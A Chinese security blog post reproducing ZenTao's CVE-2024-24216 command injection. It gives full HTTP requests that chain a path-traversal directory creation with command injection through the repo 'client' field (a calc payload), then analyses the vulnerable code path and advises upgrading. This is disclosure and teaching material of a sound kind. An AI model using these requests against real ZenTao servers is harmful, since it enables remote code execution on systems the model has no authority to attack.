freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

禅道命令注入(CVE-2024-24216)复现
0kooohezi 2024-11-29 14:41:28 51744
所属地 湖南省

0x00基本信息

版本

18.0<=zentao<=18.10

复现情况

win10、phpstudy、zentaov18.5

0x01exp

我复现的POC

生成目录

POST /index.php?m=upgrade&f=moveExtFiles&ID=0 HTTP/1.1
Host: demo.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=my&f=ajaxSwitchVision&vision=rnd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: 
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

files[]=../../tmp/log/这里换成他提示的文件/test

执行命令

POST /index.php?m=repo&f=edit&repoID=2&objectID=0 HTTP/1.1
Host: demo.com
Content-Length: 168
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://demo.com
Referer: http://demo.com/index.php?m=repo&f=edit&repoID=2&objectID=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: 
Connection: keep-alive

product%5B%5D=1&projects%5B%5D=7&SCM=Git&serviceHost=&name=abcc0koo&path=C%3A%2F&encoding=utf-8&client=calc%3B&account=&password=&encrypt=base64&desc=&uid=6745712d9acc0

0x02复现

1、找到可以命令注入的页面和输入命令的位置

image

2、保存的时候会出现这个

image

3、此时就需要准备一个请求,然后这个提示就没了也可以正常保存了。

下面需要替换的位置:

例如

图片给的是C:\phpstudy_pro\WWW\zentaopms\temp\log\version_67443fdfb3dd0.log

那替换的位置就需要写version_67443fdfb3dd0.log

POST /index.php?m=upgrade&f=moveExtFiles&ID=0 HTTP/1.1
Host: demo.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=my&f=ajaxSwitchVision&vision=rnd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: 
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

files[]=../../tmp/log/这里换成他提示的文件/test

4、然后直接报错就会执行命令。它可能会弹很多个计算机。

image

0x03漏洞原理

详细的解释

1、首先找到执行命令的函数,我是反着找。

是直接通过post方法接收的参数中间没有其他地方调用过client

image

2、然后就是那个函数调用了checkConnection函数

image

之后就发现有两个函数调用了checkConnection函数

第一个是create函数

image

第二个是update函数

image

3、然后找一找是哪里调用的这两个函数。首先肯定时找创建的那个函数。

从函数的位置可以看到是repo模块的

image

然后去前端也可以找到m=repof=create的路径

image

跟新就不用说了,就是创建成功后就可以跟新了。

4、此时还不能执行命令,因为在这两个函数之前还会调用checkClient函数做判断。

image

这个函数的大致意思是:

首先判断client是否为空

之后判断client中是否有空格

再之后它会判断clientVersionFile是否为空,如果为空它会生成一个给存在clientVersionFile参数中。

之后判断clientVersionFile是否存在是目录或是文件。如果存在就会继续下去。

不存在,最后将刚刚生成clientVersionFile的显示在前端告诉你,要你去手动创建一个。

5、此时就有一个函数能达到这个效果,能创建一个目录并且名字可以自定义和目录穿越。

image

它首先接收全部post传过来的参数,之后和customRoot的路径拼接,这里可以用../选择位置。后面会判断是否是目录,如果不是才会创建成功。

0x04修复

更新到安全版本

0x05总结

在win系统下,因为没有什么好的方法可以绕过空格,而且有些cmd可以执行的命令,他这个执行命令的exec函数反而不能执行了。

linux下有方法可以绕过空格,所以linux搭建的危害可能大些。

0x06参考

https://vuldb.com/?id.253148

# 网络安全 # web安全 # 漏洞分析
本文为 0kooohezi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
0kooohezi LV.3
在路上,一直都在路上
  • 5 文章数
  • 2 关注者
yyladmin(SQL注入(cve-2024-9293)+任意文件上传)复现+审计
2024-09-29
phpcms 文件上传复现+审计
2024-09-26
eladmin (文件上传+文件删除)(cve-2024-7458)
2024-09-01